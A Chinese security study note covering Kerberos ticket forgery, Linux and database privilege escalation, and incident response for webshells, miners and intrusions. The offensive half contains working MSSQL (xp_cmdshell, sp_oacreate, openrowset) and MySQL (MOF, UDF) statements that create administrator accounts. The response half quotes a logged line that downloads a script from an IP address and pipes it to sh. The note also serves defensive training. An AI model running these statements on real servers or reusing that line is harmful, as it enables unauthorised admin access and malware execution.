
1.不需要与KDC进行交互 2.需要server的NTLM hash

金票和银票的区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限 银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互 银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密 银票:由服务账号 NTLM Hash 加密

LINUX提权

https://www.cnblogs.com/sfsec/p/15163907.html

内核漏洞提权、利用SUID提权、利用linux-exploit-suggester、linux-exploit-suggester-2等工具、计划任务提权、sudo提权、明文root密码提权、密码复用提权、第三方服务提权(NFS提权、数据库提权)

查看发行版本
cat /etc/issue
cat /etc/*-release

查看内核版本信息

uname -a

uname -a #查看内核版本信息

搜索该版本漏洞 searchsploit linux 3.2.78

SUID:SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

sudo -l

CVE-2021-3156

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

在普通用户下运行sudoedit -s /命令。

  • 返回以"sudoedit:"开头的错误,则当前系统可能存在漏洞;
  • 返回以"usage:"开头的错误响应,则当前系统不存在漏洞;

CVE-2021-4034 pkexec 本地提权

mssql提权

使用sp_oacreate进行提权

--提权语句--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1

EXEC sp_configure 'show advanced options', 1;

--使前面的配置生效RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

declare @shell int

--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null.

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢复语句EXEC

sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE;

EXEC sp_configure 'show advanced options', 0;

RECONFIGURE;

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;执行这条语句前要执行EXEC sp_configure 'show advanced options', 1; 官方对这句话的解释是:show advanced options,“显示高级选项”选项用来显示 sp_configure 系统存储过程高级选项。 当“显示高级选项” 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0。

使用xp_cmdshell进行提权

--提权语句

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure; --开启CMDshell

-- master..xp_cmdshell的全写是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'net user margin margin /add';

exec master..xp_cmdshell 'net localgroup administrators margin /add';

--恢复语句EXEC

sp_configure 'show advanced options', 0;

RECONFIGURE;

使用沙盒进行提权

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure

SQL Server提权方法汇总(MSSQL) https://blog.51cto.com/u_11797152/2411770

MYSQL提权

mof提权

1.原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

2.利用条件

mysql用户具有root权限(对上面那个目录可写)

关闭了secure-file-priv

3.利用方式 下面是一段写好了的mof利用代码

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

{ 

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select \ From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 



instance of ActiveScriptEventConsumer as $Consumer 

{ 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

{ 

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:

select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

执行完后,你可以在你的webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了

udf提权

1.原理 UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

2.利用条件

Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。 可以将udf.dll写入到相应目录的权限。

3.利用方式

查看可操作路径

show global variables like "%secure%"

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径

查看plugin目录路径

select @@plugin_dir
  1. 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误

  2. 创建自定义函数

    create function cmdshell returns string soname 'udf.dll';
    select cmdshell('net user miao zjicmisa.org /add');
    select cmdshell('net localgroup administrators miao /add');
    drop function cmdshell; 删除函数
    delete from mysql.func where name='cmdshell'  删除函数

注意这里的函数名应该与dll文件中的函数名一致。

mysql反弹shell提权

其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。

然后创建函数backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell

启动项提权

蓝队

应该做的事:

应急响应事件分为

Web入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS攻击、DNS劫持、ARP欺骗

资产梳理、安全加固、缩小攻击面、安全意识宣贯、安全运营工作的规划

关键的资产属性:

域名、IP、端口、开源软件 或框架、接口、管理后台、 高危功能、远程接入点(接 入方式及终端)、特权帐号

快捷遏制操作: ACL访问控制、关闭服务、断网

取证、溯源

攻击路线:通信分析、路径追踪等

攻击方法:安全设备日志分析、漏 洞审查、恶意代码审查等

总结上报: 给谁报、什么时候报、报什么信息

报告证据的原则: 可接受 可靠 完整 正确无误 有说服力 接续

措施: 漏洞修复、策略优化、同类问题处理

溯源追踪

img

定位IP:通过ip反查域名,查询域名注册信息,域名注册人及右键信息等

通过ID:通过定位ID定位攻击者使用同类ID注册过的微博或者博客,论坛买手机号,邮箱,qq等信息

反制vps:反制攻击者vps,获取攻击者vps中的敏感信息,反钓鱼,恶意程序分析等

手机号定位:通过对手机号码定位,一是通过添加某信好友查看头像、昵称、城市等;二是通过添加某宝,可以查看其部分实名信息、头像、城市、动态等;三是可以假装送外卖、送快递的,询问是不是某人,某地址等,进一步核实信息。

邮箱定位:通过对邮箱定位,一是通过添加某宝,查看其部分实名信息、头像、城市、动态等(可以未通过邮箱主持);二是发送钓鱼邮件,控制邮箱或者掌握IP地址

通过安全设备或其他技术手段抓取攻击者的IP,对IP进行定位,查询此IP为IDC的IP、CDN的IP还是普通运营商的出口IP,通过IP反查可能会查询到攻击者使用的web域名、注册人、邮箱等信息。一般常用的IP查询工具及开源情报、开放端口分析查询工具如下:

  1. 高精度IP定位:https://www.opengps.cn/Data/IP/LocHighAcc.aspx
  2. rtbasia(IP查询):https://ip.rtbasia.com/
  3. ipplus360(IP查询):http://www.ipplus360.com/ip/
  4. IP信息查询:https://www.ipip.net/ip.html/
  5. IP地址查询在线工具:https://tool.lu/ip/

威胁情报网站工具

  1. 微步在线:https://x.threatbook.cn/
  2. 奇安信:https://ti.qianxin.com/
  3. 360:https://ti.360.cn/
  4. https://www.venuseye.com.cn/
  5. https://community.riskiq.com/
  6. https://www.zoomeye.org/
  7. https://www.shodan.ioa

发现进攻者ip后的溯源流程

  1. 首先通过ipip.net网站或者其他接口,查询此ip为IDC的IP,CDN的IP还是真实IP。
  2. 如果是真实IP,反查到域名就可以去站长之家或者whois.domain.com等网站去查询域名的注册信息。
  3. 如果不是真实ip,就需要像红队进攻思路一样先寻找到真实ip,可以采取反钓,邮件等方法,
  4. 假如是普通运营商的出口IP只能使用一些高精度IP定位工具粗略估计攻击者的地址,如果需要具体定位到人,则需要更多的信息。

蜜罐

蜜罐可以捕获到一下信息()

  1. 攻击源IP (物理位置)
  2. 设备指纹信息:(某某操作希洪,xx浏览器进行的攻击)
  3. 攻击次数,攻击时常
  4. 攻击链条:(时间--攻击了哪--攻击源)

设置蜜罐(email,tomcat,hseepaper蜜罐)可以捕获到攻击者的真实ip和端口,以及攻击者进行了什么样子的攻击行为,是否挂代理,是进行的探测还是攻击。

创宇蜜罐:

⚡1、构建陷阱:通过构造含有敏感词非关键源代码系统配置文件等信息的蜜罐系统作为吸引攻击者访问的陷阱。

⚡ 2、投放诱饵:在投递诱饵信息的时候,考虑到通过浏览器ID进行溯源成功概率更高,可更多的将诱饵投递到相关信息共享平台上。

应对策略:

⚡ 1、高度仿真重点系统:围绕攻防演练期间攻击者重点关注的企业真实业务系统仿真,可将已下线的历史业务系统重新上线至蜜罐系统当中,诱导攻击者停留

⚡ 2、模拟定制高仿真场景:结合人工维护的方式对这些域名网站进行如添加交互页面、定期发布集团公告信息、定期后台登录及管理等方式来构建高仿真场景

态势感知

天融信工控安全态势感知系统:

天融信工控安全态势感知系统是对企业工控网络进行整体安全监控与态势分析的大数据安全产品。系统收集网内资产、流量、日志、设备运行状态等相关的安全数据,经过处理、存储、分析后形成安全态势及告警,辅助用户了解所管辖工业网络安全态势并能对告警进行协同处置。

系统可实现对安全事件的态势觉察、跟踪、预测和预警,全面、实时掌握网络安全态势,及时感知网络安全威胁、风险和隐患,及时监测漏洞、病毒木马、网络攻击情况,及时发现网络安全事件线索,及时预警通报重大网络安全威胁,及时处置安全事件,有效防范和打击网络攻击等违法犯罪活动,达到实时态势感知、准确安全监测、及时应急处置等目标,提升企业等组织的风险发现能力,加快风险解决速度。

安全设备

默安科技的幻阵、NSFOCUS防火墙的配置

数据库的防御方式

image-20211214175445190

发现客户端被传webshell了如何处理

一.如何发现

  1. 根据特征发现shell

冰蝎特征:

强特征:

  1. content-type
  2. Accept&Cache-Control

弱特征:

  1. 内置16个ua头
  2. content-length 请求长度

工作原理:

  1. 两端密钥协商,两次返回包中的数据不同的地方取密钥
  2. 加密传输,使用随机数MD5的高16位作为密钥储存会话的$_SESSION变量中,返回攻击者。

哥斯拉特征:

工作原理:

  1. 基于流量,HTTP全加密的webshell
  2. AES加密

流量特征:

  1. 低版本会有特征,是强特征。
  2. 发送一段固定代码(payload),http响应为空
  3. 发送一段固定代码(test),执行结果为固定的。
  4. 在发送疑端固定代码(getGacisInfo)

php链接特征

  1. php_XOR_BASE64
  2. 第一个包请求都含有”pass=”

冰蝎源码

直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载字节码,没得说接下来看下面部分,get请求传入一个pass参数,随机生成一串神秘字符放到sessin里面, 如果没有get传入pass,用post写一串神秘字符,后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载 在这里插入图片描述

2.处理

nginx日志,中间件日志,根据木马名字查,找到木马上传点。

如果用过PHP-fpm的日志 绕过disable_function 进行提权 使用GC bypass等 PHPFPM日志会有痕迹的

mysql的 二进制日志 确定攻击者在攻击服务器的时候执行过什么语句

主要也得判断传入webshell实在什么区域,非关键业务可以暂时先断网,然后删除shell,日志和流量分析

定位 物理ip

引擎

溯源反制

攻击源捕获

应急响应

Windows应急响应

https://blog.csdn.net/qq_41262248/article/details/106528941

常见的应急响应事件分类:

web入侵:网页挂马、主页篡改、Webshell

系统入侵:病毒木马、勒索软件、远控后门

网络攻击:DDOS攻击、DNS劫持、ARP欺骗

入侵排查思路

web入侵:对中间件日志进行分析

系统入侵:计划任务,系统爆破痕迹(系统日志),进程进行分析

网络攻击:流量分析

1.检查系统账号安全

Netstat -anb | findstr 进程

2、查看服务器是否存在可疑账号、新增账号。

检查方法:打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉。

  • 查看是否有新增用户
  • 查看服务器是否有弱口令
  • 查看管理员对应键值
  • lusrmgr.msc 查看账户变化
  • net user 列出当前登录账户
  • wmic UserAccount get 列出当前系统所有账户

3、查看服务器是否存在隐藏账号、克隆账号。

检查方法:

a、打开注册表 ,查看管理员对应键值。

b、使用D盾_web查杀工具,集成了对克隆账号检测的功能

c.windows账号信息,隐藏账号

【开始】➜【运行】➜【compmgmt.msc】➜【本地用户和组】➜【用户】 (用户名以$结尾的为隐藏用户,如:admin$)

4、结合日志,查看管理员登录时间、用户名是否存在异常。

检查方法:

a、Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。

b、导出Windows日志--安全,利用Log Parser进行分析。

LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as username,EXTRACT_TOKEN(Strings, 8, '|') as LogonType,EXTRACT_TOKEN(Strings, 17, '|') AS ProcessName,EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP FROM 日志位置 where EventID=4624"

5、检查异常端口、进程

检查端口连接情况,是否有远程连接、可疑连接。

检查方法:

a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED

b、根据netstat 定位出的pid,再通过tasklist命令进行进程定位

tasklist | findstr “PID”

5分析开机自启程序

  • (ProfilePath)\Start Menu\Programs\Startup 启动项
  • msconfig 启动选项卡
  • gpedit.msc 组策略编辑器

6、进程

检查方法:

a、开始--运行--输入msinfo32,依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等。

b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。

c、通过微软官方提供的 Process Explorer 等工具进行排查 。

d、查看可疑的进程及其子进程。可以通过观察以下内容:

没有签名验证信息的进程

没有描述信息的进程

进程的属主

进程的路径是否合法

CPU或内存资源占用长时间过高的进程

7、计划任务

控制面板 — 管理工具 — 任务计划程序

或运行 — taskschd.msc

通过命令查看计划任务schtasks

存放计划任务的文件

  • C:\Windows\System32\Tasks\

  • C:\Windows\SysWOW64\Tasks\

  • C:\Windows\tasks\

  • *.job(指文件)

  • C:\Windows\System32\Tasks\

  • C:\Windows\SysWOW64\Tasks\

  • C:\Windows\tasks\

  • schtasks

  • taskschd.msc

  • compmgmt.msc

    启动服务

    • services.msc

日志分析

  • eventvwr.msc

8、查看可疑目录及文件

查看 host :

type %systemroot%\System32\drivers\etc\hosts

Window 2003 C:\Documents and Settings

Window 2008R2 C:\Users\

Recent是系统文件夹,里面存放着你最近使用的文档的快捷方式,查看用户recent相关文件,通过分析最近打开分析可疑文件:

单击【开始】>【运行】,输入%UserProfile%\Recent,分析最近打开分析可疑文件。

temp(tmp)相关目录下查看有无异常文件 :Windows产生的临时文件

9、中间件日志分析(分析是否上传webshell,sql注入等操作)

IIS

C:\WINDOWS\system32\LogFiles

apache

Linux:/usr/local/apache/logs/ Windows:apache/logs/

tomcat

conf/logging.properties

logs/catalina.xx.log logs/host-manager.xx.log logs/localhost.xx.log logs/manager.xx.log 主要记录系统启、关闭日志、管理日志和异常信息

weblogic

domain_name/servers/server_name/logs/ server_name.log:server启停日志 access.log:安装在该server之上的应用http访问日志

jboss

LOG4J配置默认Deploy/conf/ 如jboss/server/default/conf/jboss-log4j.xml

DDOS

SYN 类攻击判断 1.服务器 CPU 占用率很高。 2.出现大量的 SYN_RECEIVED 的网络连接状态。 3.网络恢复后,服务器负载瞬时变高。网络断开后瞬时负载下将。

UDP 类攻击判断 1.服务器 CPU 占用率很高。 2.网卡每秒接受大量的数据包。 3.网络 TCP 状态信息正常。

CC 类攻击判断 1.服务器 CPU 占用率很高。 2.Web 服务器出现类似 Service Unavailable 提示。 3.出现大量的 ESTABLISHED 的网络连接状态且单个 IP 高达几十个甚至上百个连接。 4.用户无法正常访问网站页面或打开过程非常缓慢,软重启后短期内恢复正常,几分钟后又无法访问。

Linux应急响应

Linux应急响应主要分为这4个环节:识别现象-> 清除病毒-> 闭环兜底-> 系统加固

1、系统新增用户

  • /etc/shadow 密码登陆相关信息
  • uptime 查看用户登陆时间
  • /etc/sudoers sudo用户列表

1.2进程分析

  • netstat -ano 查看是否打开了可疑端口

  • w 命令,查看用户及其进程

    • 分析开机自启程序/脚本

      /etc/init.d``~/.bashrc

    • 查看计划或定时任务

      crontab -l

  • netstat -an / lsof 查看进程端口占用

  • 删除与进程相关的文件 查找文件 find / -name kinsing

1.3文件分析

    • 最近使用文件

      find / -ctime -2``C:\Documents and Settings\Administrator\Recent``C:\Documents and Settings\Default User\Recent``%UserProfile%\Recent

    • 系统日志分析

      /var/log/

    • 重点分析位置

      /var/log/wtmp 登录进入,退出,数据交换、关机和重启纪录/var/run/utmp 有关当前登录用户的信息记录/var/log/lastlog 文件记录用户最后登录的信息,可用 lastlog 命令来查看。/var/log/secure 记录登入系统存取数据的文件,例如 pop3/ssh/telnet/ftp 等都会被记录。/var/log/cron 与定时任务相关的日志信息/var/log/message 系统启动后的信息和错误日志/var/log/apache2/access.log apache access log/etc/passwd 用户列表/etc/init.d/ 开机启动项/etc/cron* 定时任务/tmp 临时目录~/.ssh

1.系统CPU是否异常

枚举进程,CPU降序排序:

图片2.png

CPU占用率超过70%且名字比较可疑的进程,大概率就是挖矿病毒了

图片3.png

1.2. 是否存在可疑进程

枚举进程命令行:

ps -aux

1572404125567545.png

病毒一般都携带可疑的命令行,当你发现命令行中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。

1.3. 安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与C&C通信。

1572404202880862.png

监控与目标IP通信的进程:

while true; do netstat -antp | grep [ip]; done

1572404216696715.png

1.4 有无可疑历史命令

遍历主机历史命令,查找有无恶意命令: history

1572404275637129.png

2.1. 结束病毒进程

清除可疑进程的进程链:

ps -elf | grep [pid]

kill -9 [pid]

1572404333736392.png

2.2删除病毒文件

定位病毒进程对应的文件路径:

ls -al /proc/[pid]/exe

rm -f [exe_path]

1572404383288018.png

Linux下的病毒持久化驻留方式相比于Windows较少,主要以下4种方式。

3.1. 检查是否存在可疑定时任务

枚举定时任务:

crontab -l

图片14.png

查看anacron异步定时任务:

cat /etc/anacrontab

图片15.png

3.2. 检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

service --status-all

3.3. 检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

3.4. 检查是否存在病毒守护进程

监控守护进程的行为:

lsof -p [pid]

1572404573537880.png

strace -tt -T -e trace=all -p $pid

3.5. 扫描是否存在恶意驱动

枚举/扫描系统驱动:

lsmod

1572404628320034.png

安装chkrootkit 进行扫描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense

./chkrootkit

安装rkhunter 进行扫描:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c

4.1.修改SSH弱密码

查询log主机登陆日志:

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源IP: grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码: grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。

4.2.添加命令审计

为历史的命令增加登录的IP地址、执行命令时间等信息: [1] 保存1万条命令: sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile [2] 在/etc/profile的文件尾部添加如下行数配置信息: USER_IP=who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g' if [ "$USER_IP" = "" ] then USER_IP=hostname fi export HISTTIMEFORMAT="%F %T $USER_IP whoami " shopt -s histappend export PROMPT_COMMAND="history -a" [3] 让配置生效:

source /etc/profile 生成效果:

76 2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

4.3.打上常见Web漏洞补丁

structs2系列RCE漏洞

thinkphp5.X RCE漏洞

Redis未授权访问漏洞

Confluence RCE漏洞(CVE_2019_3396)

Drupal RCE漏洞(CVE-2018-7600)

ThinkPHP RCE漏洞(CVE-2019-9082)

挖矿木马排查

确定挖矿进程

  1. 用top命令查看CPU使用率,找到异常进程的pid。

  2. 使用ls -l /proc/pid/exe或者ll /proc/pid/查看进程执行的命令,或者使用lsof -p pid查看进程打开的文件。

是否替换了系统命令

使用rpm -Va命令,红框标记处的命令被替换掉了。

使用busybox查看被隐藏的进程

及时隔离主机

查看是否修改了动态链接库

$ cat /etc/ld.so.preload

$ echo $LD_PRELOAD

阻断与矿池的通信

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

file_get_contents

redis 空三行 写shell

计划任务权限600

清除定时任务

tail /var/log/cron #查看定时任务日志 ls /var/spool/cron #查看不同用户的定时任务 rm -rf /var/spool/cron/* #删除所有用户级的定时任务

清除启动项

rm -f /etc/init.d/muma(开机自启动的)

清除公钥文件

查看是否有不该存在的特权用户

修改root密码且修改sshd端口

禁ping

样本分析

通过hash工具获取都挖矿木马样本的MD5、SHA1、CRC32数据。

← 珂技系列之一篇就够了——XSS进阶 - FreeBuf网络安全行业门户 网络安全面试常见问题汇总 →